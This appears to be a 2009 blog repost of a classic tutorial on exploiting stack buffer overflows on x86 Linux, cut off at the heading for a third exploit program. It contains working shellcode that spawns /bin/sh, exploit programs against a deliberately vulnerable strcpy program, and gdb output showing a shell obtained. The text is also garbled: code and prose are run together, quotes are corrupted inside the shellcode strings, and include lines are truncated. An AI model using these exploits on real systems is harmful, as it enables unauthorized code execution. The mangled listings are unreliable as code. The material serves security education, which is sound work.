29 December 2009

Buffer overflow Hacking



On many C implementations
it is possible to corrupt the execution stack by writing past
the end of an array declared auto in a routine. Code that does
this is said to smash the stack, and can cause return from the
routine to jump to a random address. This can produce some of
the most insidious data-dependent bugs known to mankind.
Variants include trash the stack, scribble the stack, mangle
the stack; the term mung the stack is not used, as this is
never done intentionally. See spam; see also alias bug,
fandango on core, memory leak, precedence lossage, overrun screw.

Introduction
~~~~~~~~~~~~


Over the last few months there has been a large increase of buffer
overflow vulnerabilities being both discovered and exploited. Examples
of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt
library, at, etc. This paper attempts to explain what buffer overflows
are, and how their exploits work.

Basic knowledge of assembly is required. An understanding of virtual
memory concepts, and experience with gdb are very helpful but not necessary.
We also assume we are working with an Intel x86 CPU, and that the operating
system is Linux.

Some basic definitions before we begin: A buffer is simply a contiguous
block of computer memory that holds multiple instances of the same data
type. C programmers normally associate with the word buffer arrays. Most
commonly, character arrays. Arrays, like all variables in C, can be
declared either static or dynamic. Static variables are allocated at load
time on the data segment. Dynamic variables are allocated at run time on
the stack. To overflow is to flow, or fill over the top, brims, or bounds.
We will concern ourselves only with the overflow of dynamic buffers, otherwise
known as stack-based buffer overflows.

Process Memory Organization
~~~~~~~~~~~~~~~~~~~~~~~~~~~


To understand what stack buffers are we must first understand how a
process is organized in memory. Processes are divided into three regions:
Text, Data, and Stack. We will concentrate on the stack region, but first
a small overview of the other regions is in order.

The text region is fixed by the program and includes code (instructions)
and read-only data. This region corresponds to the text section of the
executable file. This region is normally marked read-only and any attempt to
write to it will result in a segmentation violation.

The data region contains initialized and uninitialized data. Static
variables are stored in this region. The data region corresponds to the
data-bss sections of the executable file. Its size can be changed with the
brk(2) system call. If the expansion of the bss data or the user stack
exhausts available memory, the process is blocked and is rescheduled to
run again with a larger memory space. New memory is added between the data
and stack segments.

/——————\ lower
| | memory
| Text | addresses
| |
|——————|
| (Initialized) |
| Data |
| (Uninitialized) |
|——————|
| |
| Stack | higher
| | memory
\——————/ addresses

Fig. 1 Process Memory Regions

What Is A Stack?
~~~~~~~~~~~~~~~~

A stack is an abstract data type frequently used in computer science. A
stack of objects has the property that the last object placed on the stack
will be the first object removed. This property is commonly referred to as
last in, first out queue, or a LIFO.

Several operations are defined on stacks. Two of the most important are
PUSH and POP. PUSH adds an element at the top of the stack. POP, in
contrast, reduces the stack size by one by removing the last element at the
top of the stack.

Why Do We Use A Stack?
~~~~~~~~~~~~~~~~~~~~~~


Modern computers are designed with the need of high-level languages in
mind. The most important technique for structuring programs introduced by
high-level languages is the procedure or function. From one point of view, a
procedure call alters the flow of control just as a jump does, but unlike a
jump, when finished performing its task, a function returns control to the
statement or instruction following the call. This high-level abstraction
is implemented with the help of the stack.

The stack is also used to dynamically allocate the local variables used in
functions, to pass parameters to the functions, and to return values from the
function.

The Stack Region
~~~~~~~~~~~~~~~~


A stack is a contiguous block of memory containing data. A register called
the stack pointer (SP) points to the top of the stack. The bottom of the
stack is at a fixed address. Its size is dynamically adjusted by the kernel
at run time. The CPU implements instructions to PUSH onto and POP off of the
stack.

The stack consists of logical stack frames that are pushed when calling a
function and popped when returning. A stack frame contains the parameters to
a function, its local variables, and the data necessary to recover the
previous stack frame, including the value of the instruction pointer at the
time of the function call.

Depending on the implementation the stack will either grow down (towards
lower memory addresses), or up. In our examples we’ll use a stack that grows
down. This is the way the stack grows on many computers including the Intel,
Motorola, SPARC and MIPS processors. The stack pointer (SP) is also
implementation dependent. It may point to the last address on the stack, or
to the next free available address after the stack. For our discussion we’ll
assume it points to the last address on the stack.

In addition to the stack pointer, which points to the top of the stack
(lowest numerical address), it is often convenient to have a frame pointer
(FP) which points to a fixed location within a frame. Some texts also refer
to it as a local base pointer (LB). In principle, local variables could be
referenced by giving their offsets from SP. However, as words are pushed onto
the stack and popped from the stack, these offsets change. Although in some
cases the compiler can keep track of the number of words on the stack and
thus correct the offsets, in some cases it cannot, and in all cases
considerable administration is required. Futhermore, on some machines, such
as Intel-based processors, accessing a variable at a known distance from SP
requires multiple instructions.

Consequently, many compilers use a second register, FP, for referencing
both local variables and parameters because their distances from FP do
not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this
purpose. On the Motorola CPUs, any address register except A7 (the stack
pointer) will do. Because the way our stack grows, actual parameters have
positive offsets and local variables have negative offsets from FP.

The first thing a procedure must do when called is save the previous FP
(so it can be restored at procedure exit). Then it copies SP into FP to
create the new FP, and advances SP to reserve space for the local variables.
This code is called the procedure prolog. Upon procedure exit, the stack
must be cleaned up again, something called the procedure epilog. The Intel
ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions,
have been provided to do most of the procedure prolog and epilog work
efficiently.

Let us see what the stack looks like in a simple example:

example1.c:——————————————————————————
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}

void main() {
function(1,2,3);
}
——————————————————————————

To understand what the program does to call function() we compile it with
gcc using the -S switch to generate assembly code output:

$ gcc -S -o example1.s example1.c

By looking at the assembly language output we see that the call to
function() is translated to:

pushl $3
pushl $2
pushl $1
call function

This pushes the 3 arguments to function backwards into the stack, and
calls function(). The instruction ‘call’ will push the instruction pointer
(IP) onto the stack. We’ll call the saved IP the return address (RET). The
first thing done in function is the procedure prolog:

pushl %ebp
movl %esp,%ebp
subl $20,%esp

This pushes EBP, the frame pointer, onto the stack. It then copies the
current SP onto EBP, making it the new FP pointer. We’ll call the saved FP
pointer SFP. It then allocates space for the local variables by subtracting
their size from SP.

We must remember that memory can only be addressed in multiples of the
word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer
is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer
is going to take 12 bytes (3 words) of memory. That is why SP is being
subtracted by 20. With that in mind our stack looks like this when
function() is called (each space represents a byte):

bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
<—— [ ][ ][ ][ ][ ][ ][ ]top of bottom ofstack stackBuffer Overflows
~~~~~~~~~~~~~~~~

A buffer overflow is the result of stuffing more data into a buffer than
it can handle. How can this often found programming error can be taken
advantage to execute arbitrary code? Lets look at another example:

example2.c
——————————————————————————
void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}

void main() {
char large_string[256];
int i;

for( i = 0; i < 255; i++)large_string[i] = ‘A’;function(large_string);}——————————————————————————This is program has a function with a typical buffer overflow codingerror. The function copies a supplied string without bounds checking byusing strcpy() instead of strncpy(). If you run this program you will get asegmentation violation. Lets see what its stack looks when we call function:bottom of top ofmemory memorybuffer sfp ret *str<—— [ ][ ][ ][ ]top of bottom ofstack stackWhat is going on here? Why do we get a segmentation violation? Simple.strcpy() is coping the contents of *str (larger_string[]) into buffer[]until a null character is found on the string. As we can see buffer[] ismuch smaller than *str. buffer[] is 16 bytes long, and we are trying to stuffit with 256 bytes. This means that all 250 bytes after buffer in the stackare being overwritten. This includes the SFP, RET, and even *str! We hadfilled large_string with the character ‘A’. It’s hex character valueis 0×41. That means that the return address is now 0×41414141. This isoutside of the process address space. That is why when the function returnsand tries to read the next instruction from that address you get asegmentation violation.So a buffer overflow allows us to change the return address of a function.In this way we can change the flow of execution of the program. Lets go backto our first example and recall what the stack looked like:bottom of top ofmemory memorybuffer2 buffer1 sfp ret a b c<—— [ ][ ][ ][ ][ ][ ][ ]top of bottom ofstack stackLets try to modify our first example so that it overwrites the returnaddress, and demonstrate how we can make it execute arbitrary code. Justbefore buffer1[] on the stack is SFP, and before it, the return address.That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] isreally 2 word so its 8 bytes long. So the return address is 12 bytes fromthe start of buffer1[]. We’ll modify the return value in such a way that theassignment statement ‘x = 1;’ after the function call will be jumped. To doso we add 8 bytes to the return address. Our code is now:example3.c:——————————————————————————
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;

ret = buffer1 + 12;
(*ret) += 8;
}

void main() {
int x;

x = 0;
function(1,2,3);
x = 1;
printf(”%d\n”,x);
}
——————————————————————————

What we have done is add 12 to buffer1[]’s address. This new address is
where the return address is stored. We want to skip pass the assignment to
the printf call. How did we know to add 8 to the return address? We used a
test value first (for example 1), compiled the program, and then started gdb:

——————————————————————————
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type “show copying” to see the conditions.
There is absolutely no warranty for GDB; type “show warranty” for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc…
(no debugging symbols found)…
(gdb) disassemble main
Dump of assembler code for function main:
0×8000490 : pushl %ebp
0×8000491 : movl %esp,%ebp
0×8000493 : subl $0×4,%esp
0×8000496 : movl $0×0,0xfffffffc(%ebp)
0×800049d : pushl $0×3
0×800049f : pushl $0×2
0×80004a1 : pushl $0×1
0×80004a3 : call 0×8000470
0×80004a8 : addl $0xc,%esp
0×80004ab : movl $0×1,0xfffffffc(%ebp)
0×80004b2 : movl 0xfffffffc(%ebp),%eax
0×80004b5 : pushl %eax
0×80004b6 : pushl $0×80004f8
0×80004bb : call 0×8000378
0×80004c0 : addl $0×8,%esp
0×80004c3 : movl %ebp,%esp
0×80004c5 : popl %ebp
0×80004c6 : ret
0×80004c7 : nop
——————————————————————————

We can see that when calling function() the RET will be 0×8004a8, and we
want to jump past the assignment at 0×80004ab. The next instruction we want
to execute is the at 0×8004b2. A little math tells us the distance is 8
bytes.

Shell Code
~~~~~~~~~~


So now that we know that we can modify the return address and the flow of
execution, what program do we want to execute? In most cases we’ll simply
want the program to spawn a shell. From the shell we can then issue other
commands as we wish. But what if there is no such code in the program we
are trying to exploit? How can we place arbitrary instruction into its
address space? The answer is to place the code with are trying to execute in
the buffer we are overflowing, and overwrite the return address so it points
back into the buffer. Assuming the stack starts at address 0xFF, and that S
stands for the code we want to execute the stack would then look like this:

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c

<—— [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0×01][0×02][0×03]^ ||____________________________|top of bottom ofstack stackThe code to spawn a shell in C looks like:shellcode.c—————————————————————————–
#include

void main() {
char *name[2];

name[0] = “/bin/sh”;
name[1] = NULL;
execve(name[0], name, NULL);
}
——————————————————————————

To find out what does it looks like in assembly we compile it, and start
up gdb. Remember to use the -static flag. Otherwise the actual code the
for the execve system call will not be included. Instead there will be a
reference to dynamic C library that would normally would be linked in at
load time.

——————————————————————————
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type “show copying” to see the conditions.
There is absolutely no warranty for GDB; type “show warranty” for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc…
(gdb) disassemble main
Dump of assembler code for function main:
0×8000130 : pushl %ebp
0×8000131 : movl %esp,%ebp
0×8000133 : subl $0×8,%esp
0×8000136 : movl $0×80027b8,0xfffffff8(%ebp)
0×800013d : movl $0×0,0xfffffffc(%ebp)
0×8000144 : pushl $0×0
0×8000146 : leal 0xfffffff8(%ebp),%eax
0×8000149 : pushl %eax
0×800014a : movl 0xfffffff8(%ebp),%eax
0×800014d : pushl %eax
0×800014e : call 0×80002bc <__execve>
0×8000153 : addl $0xc,%esp
0×8000156 : movl %ebp,%esp
0×8000158 : popl %ebp
0×8000159 : ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0×80002bc <__execve>: pushl %ebp
0×80002bd <__execve+1>: movl %esp,%ebp
0×80002bf <__execve+3>: pushl %ebx
0×80002c0 <__execve+4>: movl $0xb,%eax
0×80002c5 <__execve+9>: movl 0×8(%ebp),%ebx
0×80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0×80002cb <__execve+15>: movl 0×10(%ebp),%edx
0×80002ce <__execve+18>: int $0×80
0×80002d0 <__execve+20>: movl %eax,%edx
0×80002d2 <__execve+22>: testl %edx,%edx
0×80002d4 <__execve+24>: jnl 0×80002e6 <__execve+42>
0×80002d6 <__execve+26>: negl %edx
0×80002d8 <__execve+28>: pushl %edx
0×80002d9 <__execve+29>: call 0×8001a34 <__normal_errno_location>
0×80002de <__execve+34>: popl %edx
0×80002df <__execve+35>: movl %edx,(%eax)
0×80002e1 <__execve+37>: movl $0xffffffff,%eax
0×80002e6 <__execve+42>: popl %ebx
0×80002e7 <__execve+43>: movl %ebp,%esp
0×80002e9 <__execve+45>: popl %ebp
0×80002ea <__execve+46>: ret
0×80002eb <__execve+47>: nop
End of assembler dump.
——————————————————————————

Lets try to understand what is going on here. We’ll start by studying main:

——————————————————————————
0×8000130 : pushl %ebp
0×8000131 : movl %esp,%ebp
0×8000133 : subl $0×8,%esp

This is the procedure prelude. It first saves the old frame pointer,
makes the current stack pointer the new frame pointer, and leaves
space for the local variables. In this case its:

char *name[2];

or 2 pointers to a char. Pointers are a word long, so it leaves
space for two words (8 bytes).

0×8000136 : movl $0×80027b8,0xfffffff8(%ebp)

We copy the value 0×80027b8 (the address of the string “/bin/sh”)
into the first pointer of name[]. This is equivalent to:

name[0] = “/bin/sh”;

0×800013d : movl $0×0,0xfffffffc(%ebp)

We copy the value 0×0 (NULL) into the seconds pointer of name[].
This is equivalent to:

name[1] = NULL;

The actual call to execve() starts here.

0×8000144 : pushl $0×0

We push the arguments to execve() in reverse order onto the stack.
We start with NULL.

0×8000146 : leal 0xfffffff8(%ebp),%eax

We load the address of name[] into the EAX register.

0×8000149 : pushl %eax

We push the address of name[] onto the stack.

0×800014a : movl 0xfffffff8(%ebp),%eax

We load the address of the string “/bin/sh” into the EAX register.

0×800014d : pushl %eax

We push the address of the string “/bin/sh” onto the stack.

0×800014e : call 0×80002bc <__execve>

Call the library procedure execve(). The call instruction pushes the
IP onto the stack.
——————————————————————————

Now execve(). Keep in mind we are using a Intel based Linux system. The
syscall details will change from OS to OS, and from CPU to CPU. Some will
pass the arguments on the stack, others on the registers. Some use a software
interrupt to jump to kernel mode, others use a far call. Linux passes its
arguments to the system call on the registers, and uses a software interrupt
to jump into kernel mode.

——————————————————————————
0×80002bc <__execve>: pushl %ebp
0×80002bd <__execve+1>: movl %esp,%ebp
0×80002bf <__execve+3>: pushl %ebx

The procedure prelude.

0×80002c0 <__execve+4>: movl $0xb,%eax

Copy 0xb (11 decimal) onto the stack. This is the index into the
syscall table. 11 is execve.

0×80002c5 <__execve+9>: movl 0×8(%ebp),%ebx

Copy the address of “/bin/sh” into EBX.

0×80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

Copy the address of name[] into ECX.

0×80002cb <__execve+15>: movl 0×10(%ebp),%edx

Copy the address of the null pointer into %edx.

0×80002ce <__execve+18>: int $0×80

Change into kernel mode.
——————————————————————————

So as we can see there is not much to the execve() system call. All we need
to do is:

a) Have the null terminated string “/bin/sh” somewhere in memory.
b) Have the address of the string “/bin/sh” somewhere in memory
followed by a null long word.
c) Copy 0xb into the EAX register.
d) Copy the address of the address of the string “/bin/sh” into the
EBX register.
e) Copy the address of the string “/bin/sh” into the ECX register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0×80 instruction.

But what if the execve() call fails for some reason? The program will
continue fetching instructions from the stack, which may contain random data!
The program will most likely core dump. We want the program to exit cleanly
if the execve syscall fails. To accomplish this we must then add a exit
syscall after the execve syscall. What does the exit syscall looks like?

exit.c——————————————————————————
#include

void main() {
exit(0);
}
——————————————————————————

——————————————————————————
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type “show copying” to see the conditions.
There is absolutely no warranty for GDB; type “show warranty” for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc…
(no debugging symbols found)…
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0×800034c <_exit>: pushl %ebp
0×800034d <_exit+1>: movl %esp,%ebp
0×800034f <_exit+3>: pushl %ebx
0×8000350 <_exit+4>: movl $0×1,%eax
0×8000355 <_exit+9>: movl 0×8(%ebp),%ebx
0×8000358 <_exit+12>: int $0×80
0×800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0×800035d <_exit+17>: movl %ebp,%esp
0×800035f <_exit+19>: popl %ebp
0×8000360 <_exit+20>: ret
0×8000361 <_exit+21>: nop
0×8000362 <_exit+22>: nop
0×8000363 <_exit+23>: nop
End of assembler dump.
——————————————————————————

The exit syscall will place 0×1 in EAX, place the exit code in EBX,
and execute “int 0×80?. That’s it. Most applications return 0 on exit to
indicate no errors. We will place 0 in EBX. Our list of steps is now:

a) Have the null terminated string “/bin/sh” somewhere in memory.
b) Have the address of the string “/bin/sh” somewhere in memory
followed by a null long word.
c) Copy 0xb into the EAX register.
d) Copy the address of the address of the string “/bin/sh” into the
EBX register.
e) Copy the address of the string “/bin/sh” into the ECX register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0×80 instruction.
h) Copy 0×1 into the EAX register.
i) Copy 0×0 into the EBX register.
j) Execute the int $0×80 instruction.

Trying to put this together in assembly language, placing the string
after the code, and remembering we will place the address of the string,
and null word after the array, we have:

——————————————————————————
movl string_addr,string_addr_addr
movb $0×0,null_byte_addr
movl $0×0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0×80
movl $0×1, %eax
movl $0×0, %ebx
int $0×80
/bin/sh string goes here.
——————————————————————————

The problem is that we don’t know where in the memory space of the
program we are trying to exploit the code (and the string that follows
it) will be placed. One way around it is to use a JMP, and a CALL
instruction. The JMP and CALL instructions can use IP relative addressing,
which means we can jump to an offset from the current IP without needing
to know the exact address of where in memory we want to jump to. If we
place a CALL instruction right before the “/bin/sh” string, and a JMP
instruction to it, the strings address will be pushed onto the stack as
the return address when CALL is executed. All we need then is to copy the
return address into a register. The CALL instruction can simply call the
start of our code above. Assuming now that J stands for the JMP instruction,
C for the CALL instruction, and s for the string, the execution flow would
now be:

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c

<—— [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0×01][0×02][0×03]^|^ ^| ||||_____________||____________| (1)(2) ||_____________|||______________| (3)top of bottom ofstack stackWith this modifications, using indexed addressing, and writing down howmany bytes each instruction takes our code looks like:——————————————————————————jmp offset-to-call # 2 bytespopl %esi # 1 bytemovl %esi,array-offset(%esi) # 3 bytesmovb $0×0,nullbyteoffset(%esi)# 4 bytesmovl $0×0,null-offset(%esi) # 7 bytesmovl $0xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal array-offset,(%esi),%ecx # 3 bytesleal null-offset(%esi),%edx # 3 bytesint $0×80 # 2 bytesmovl $0×1, %eax # 5 bytesmovl $0×0, %ebx # 5 bytesint $0×80 # 2 bytescall offset-to-popl # 5 bytes/bin/sh string goes here.——————————————————————————Calculating the offsets from jmp to call, from call to popl, fromthe string address to the array, and from the string address to the nulllong word, we now have:——————————————————————————jmp 0×26 # 2 bytespopl %esi # 1 bytemovl %esi,0×8(%esi) # 3 bytesmovb $0×0,0×7(%esi) # 4 bytesmovl $0×0,0xc(%esi) # 7 bytesmovl $0xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal 0×8(%esi),%ecx # 3 bytesleal 0xc(%esi),%edx # 3 bytesint $0×80 # 2 bytesmovl $0×1, %eax # 5 bytesmovl $0×0, %ebx # 5 bytesint $0×80 # 2 bytescall -0×2b # 5 bytes.string \”/bin/sh\” # 8 bytes——————————————————————————Looks good. To make sure it works correctly we must compile it and run it.But there is a problem. Our code modifies itself, but most operating systemmark code pages read-only. To get around this restriction we must place thecode we wish to execute in the stack or data segment, and transfer controlto it. To do so we will place our code in a global array in the datasegment. We need first a hex representation of the binary code. Letscompile it first, and then use gdb to obtain it.shellcodeasm.c——————————————————————————
void main() {
__asm__(”
jmp 0×2a # 3 bytes
popl %esi # 1 byte
movl %esi,0×8(%esi) # 3 bytes
movb $0×0,0×7(%esi) # 4 bytes
movl $0×0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0×8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0×80 # 2 bytes
movl $0×1, %eax # 5 bytes
movl $0×0, %ebx # 5 bytes
int $0×80 # 2 bytes
call -0×2f # 5 bytes
.string \”/bin/sh\” # 8 bytes
“);
}
——————————————————————————

——————————————————————————
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type “show copying” to see the conditions.
There is absolutely no warranty for GDB; type “show warranty” for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc…
(gdb) disassemble main
Dump of assembler code for function main:
0×8000130 : pushl %ebp
0×8000131 : movl %esp,%ebp
0×8000133 : jmp 0×800015f
0×8000135 : popl %esi
0×8000136 : movl %esi,0×8(%esi)
0×8000139 : movb $0×0,0×7(%esi)
0×800013d : movl $0×0,0xc(%esi)
0×8000144 : movl $0xb,%eax
0×8000149 : movl %esi,%ebx
0×800014b : leal 0×8(%esi),%ecx
0×800014e : leal 0xc(%esi),%edx
0×8000151 : int $0×80
0×8000153 : movl $0×1,%eax
0×8000158 : movl $0×0,%ebx
0×800015d : int $0×80
0×800015f : call 0×8000135
0×8000164 : das
0×8000165 : boundl 0×6e(%ecx),%ebp
0×8000168 : das
0×8000169 : jae 0×80001d3 <__new_exitfn+55>
0×800016b : addb %cl,0×55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0×8000133 : 0xeb
(gdb)
0×8000134 : 0×2a
(gdb)
.
.
.
——————————————————————————

testsc.c——————————————————————————
char shellcode[] =
“\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00?
“\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80?
“\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff”
“\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3?;

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
——————————————————————————
——————————————————————————
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
——————————————————————————

It works! But there is an obstacle. In most cases we’ll be trying to
overflow a character buffer. As such any null bytes in our shellcode will be
considered the end of the string, and the copy will be terminated. There must
be no null bytes in the shellcode for the exploit to work. Let’s try to
eliminate the bytes (and at the same time make it smaller).

Problem instruction: Substitute with:
——————————————————–
movb $0×0,0×7(%esi) xorl %eax,%eax
molv $0×0,0xc(%esi) movb %eax,0×7(%esi)
movl %eax,0xc(%esi)
——————————————————–
movl $0xb,%eax movb $0xb,%al
——————————————————–
movl $0×1, %eax xorl %ebx,%ebx
movl $0×0, %ebx movl %ebx,%eax
inc %eax
——————————————————–

Our improved code:

shellcodeasm2.c——————————————————————————
void main() {
__asm__(”
jmp 0×1f # 2 bytes
popl %esi # 1 byte
movl %esi,0×8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0×7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0×8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0×80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0×80 # 2 bytes
call -0×24 # 5 bytes
.string \”/bin/sh\” # 8 bytes
# 46 bytes total
“);
}
——————————————————————————

And our new test program:

testsc2.c——————————————————————————
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
——————————————————————————
——————————————————————————
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
——————————————————————————

Writing an Exploit
~~~~~~~~~~~~~~~~~~
(or how to mung the stack)
~~~~~~~~~~~~~~~~~~~~~~~~~~

Lets try to pull all our pieces together. We have the shellcode. We know
it must be part of the string which we’ll use to overflow the buffer. We
know we must point the return address back into the buffer. This example will
demonstrate these points:

overflow1.c
——————————————————————————
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)*(long_ptr + i) = (int) buffer;for (i = 0; i < strlen(shellcode); i++)large_string[i] = shellcode[i];strcpy(buffer,large_string);}————————————————————————————————————————————————————[aleph1]$ gcc -o exploit1 exploit1.c[aleph1]$ ./exploit1$ exitexit[aleph1]$——————————————————————————What we have done above is filled the array large_string[] with theaddress of buffer[], which is where our code will be. Then we copy ourshellcode into the beginning of the large_string string. strcpy() will thencopy large_string onto buffer without doing any bounds checking, and willoverflow the return address, overwriting it with the address where our codeis now located. Once we reach the end of main and it tried to return itjumps to our code, and execs a shell.The problem we are faced when trying to overflow the buffer of anotherprogram is trying to figure out at what address the buffer (and thus ourcode) will be. The answer is that for every program the stack willstart at the same address. Most programs do not push more than a few hundredor a few thousand bytes into the stack at any one time. Therefore by knowingwhere the stack starts we can try to guess where the buffer we are trying tooverflow will be. Here is a little program that will print its stackpointer:sp.c——————————————————————————
unsigned long get_sp(void) {
__asm__(”movl %esp,%eax”);
}
void main() {
printf(”0x%x\n”, get_sp());
}
——————————————————————————

——————————————————————————
[aleph1]$ ./sp
0×8000470
[aleph1]$
——————————————————————————

Lets assume this is the program we are trying to overflow is:

vulnerable.c——————————————————————————
void main(int argc, char *argv[]) {
char buffer[512];

if (argc > 1)
strcpy(buffer,argv[1]);
}
——————————————————————————

We can create a program that takes as a parameter a buffer size, and an
offset from its own stack pointer (where we believe the buffer we want to
overflow may live). We’ll put the overflow string in an environment variable
so it is easy to manipulate:

exploit2.c
——————————————————————————
#include

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512

char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long get_sp(void) {
__asm__(”movl %esp,%eax”);
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf(”Can’t allocate memory.\n”);
exit(0);
}

addr = get_sp() - offset;
printf(”Using address: 0x%x\n”, addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;ptr += 4;for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = ‘\0';memcpy(buff,”EGG=”,4);putenv(buff);system(”/bin/bash”);}——————————————————————————Now we can try to guess what the buffer and offset should be:

——————————————————————————
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
——————————————————————————

As we can see this is not an efficient process. Trying to guess the
offset even while knowing where the beginning of the stack lives is nearly
impossible. We would need at best a hundred tries, and at worst a couple of
thousand. The problem is we need to guess *exactly* where the address of our
code will start. If we are off by one byte more or less we will just get a
segmentation violation or a invalid instruction. One way to increase our
chances is to pad the front of our overflow buffer with NOP instructions.
Almost all processors have a NOP instruction that performs a null operation.
It is usually used to delay execution for purposes of timing. We will take
advantage of it and fill half of our overflow buffer with them. We will place
our shellcode at the center, and then follow it with the return addresses. If
we are lucky and the return address points anywhere in the string of NOPs,
they will just get executed until they reach our code. In the Intel
architecture the NOP instruction is one byte long and it translates to 0×90
in machine code. Assuming the stack starts at address 0xFF, that S stands for
shell code, and that N stands for a NOP instruction the new stack would look
like this:

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c

<—— [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]^ ||_____________________|top of bottom ofstack stackThe new exploits is then:exploit3.c——————————————————————————
#include

